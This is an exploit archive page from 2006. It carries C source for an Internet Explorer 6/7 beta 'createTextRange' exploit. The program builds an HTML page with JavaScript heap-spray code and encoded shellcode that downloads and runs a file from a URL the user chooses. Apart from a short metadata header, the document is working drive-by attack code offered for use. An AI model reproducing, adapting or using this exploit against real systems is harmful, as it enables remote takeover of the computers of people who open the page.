exploit the possibilities

msie-createTextRang.c

msie-createTextRang.c
Posted Apr 1, 2006
Authored by ATmaCA | Site spyinstructors.com

Microsoft Internet Explorer createTextRang download shellcoded exploit.

tags | exploit, shellcode
MD5 | dddd886a55cb06a7f099cdf4947993f5

msie-createTextRang.c

Change Mirror Download
/*
*
* Internet Explorer "createTextRang" Download Shellcoded Exploit
* Bug discovered by Computer Terrorism (UK)
* http://www.computerterrorism.com/research/ct22-03-2006
* Reliable exploitation by Darkeagle of Unl0ck Research Team
* http://www.milw0rm.com/exploits/1606
*
* Affected Software: Microsoft Internet Explorer 6.x & 7 Beta 2
* Severity: Critical
* Impact: Remote System Access
* Solution Status: Unpatched
*
* E-Mail: atmaca@icqmail.com
* Web: http://www.spyinstructors.com,http://www.atmacasoft.com
* Credit to Kozan,Darkeagle,delikon,Stelian Ene
*
*/

#include <windows.h>
#include <stdio.h>

#define BUF_LEN 0x1518
#define FILE_NAME "index.htm"

char body1[] =
"<input type=\"checkbox\" id=\"blah\">\r\n"
"<SCRIPT language=\"javascript\">\r\n\r\n"
"shellcode = unescape(\r\n"
"\t\"%uCCE9%u0000%u5F00%u56E8%u0000%u8900%u50C3%u8E68%u0E4E%uE8EC\" +\r\n"
"\t\"%u0060%u0000%uC931%uB966%u6E6F%u6851%u7275%u6D6C%uFF54%u50D0\" +\r\n"
"\t\"%u3668%u2F1A%uE870%u0046%u0000%uC931%u5151%u378D%u8D56%u0877\" +\r\n"
"\t\"%u5156%uD0FF%u6853%uFE98%u0E8A%u2DE8%u0000%u5100%uFF57%u31D0\" +\r\n"
"\t\"%u49C9%u9090%u6853%uD87E%u73E2%u19E8%u0000%uFF00%u55D0%u6456\" +\r\n"
"\t\"%u30A1%u0000%u8B00%u0C40%u708B%uAD1C%u688B%u8908%u5EE8%uC35D\" +\r\n"
"\t\"%u5553%u5756%u6C8B%u1824%u458B%u8B3C%u0554%u0178%u8BEA%u184A\" +\r\n"
"\t\"%u5A8B%u0120%uE3EB%u4935%u348B%u018B%u31EE%uFCFF%uC031%u38AC\" +\r\n"
"\t\"%u74E0%uC107%u0DCF%uC701%uF2EB%u7C3B%u1424%uE175%u5A8B%u0124\" +\r\n"
"\t\"%u66EB%u0C8B%u8B4B%u1C5A%uEB01%u048B%u018B%uE9E8%u0002%u0000\" +\r\n"
"\t\"%uC031%uEA89%u5E5F%u5B5D%uE8C3%uFF2F%uFFFF%u686D%u2E68%u7865\" +\r\n"
"\t\"%u0065";

char body2[] =
"\r\n\r\nbigblock = unescape(\"%u9090%u9090\");\r\n"
"slackspace = 20 + shellcode.length\r\n\r\n"
"while (bigblock.length < slackspace)\r\n"
"\tbigblock += bigblock;\r\n\r\n"
"fillblock = bigblock.substring(0, slackspace);\r\n\r\n"
"block = bigblock.substring(0, bigblock.length-slackspace);\r\n\r\n"
"while(block.length + slackspace < 0x40000)\r\n"
"\tblock = block + block + fillblock;\r\n\r\n"
"memory = new Array();\r\n\r\n"
"for ( i = 0; i < 2020; i++ )\r\n"
"\tmemory[i] = block + shellcode;\r\n\r\n"
"var r = document.getElementById('blah').createTextRange();\r\n\r\n"
"</script>\r\n";


int main(int argc,char *argv[])
{
if (argc < 2)
{
printf("\nInternet Explorer \"createTextRang\" Download Shellcoded Exploit");
printf("\nUsage:\n");
printf(" ie_exp <WebUrl>\n");

return 0;
}

FILE *File;
char *pszBuffer;
char *web = argv[1];
char *pu = "%u";
char u_t[5];
char *utf16 = (char*)malloc(strlen(web)*5);

if ( (File = fopen(FILE_NAME,"w+b")) == NULL ) {
printf("\n [Err:] fopen()");
exit(1);
}

pszBuffer = (char*)malloc(BUF_LEN);
memcpy(pszBuffer,body1,sizeof(body1)-1);

memset(utf16,'\0',strlen(web)*5);
for (unsigned int i=0;i<strlen(web);i=i+2)
{
sprintf(u_t,"%s%.2x%.2x", pu, web[i+1], web[i]);
strcat(utf16,u_t);
}

strcat(pszBuffer,utf16);
strcat(pszBuffer,"%u0000\");");
strcat(pszBuffer,body2);

fwrite(pszBuffer, BUF_LEN, 1,File);
fclose(File);

printf("\n\n" FILE_NAME " has been created in the current directory.\n");
return 1;
}
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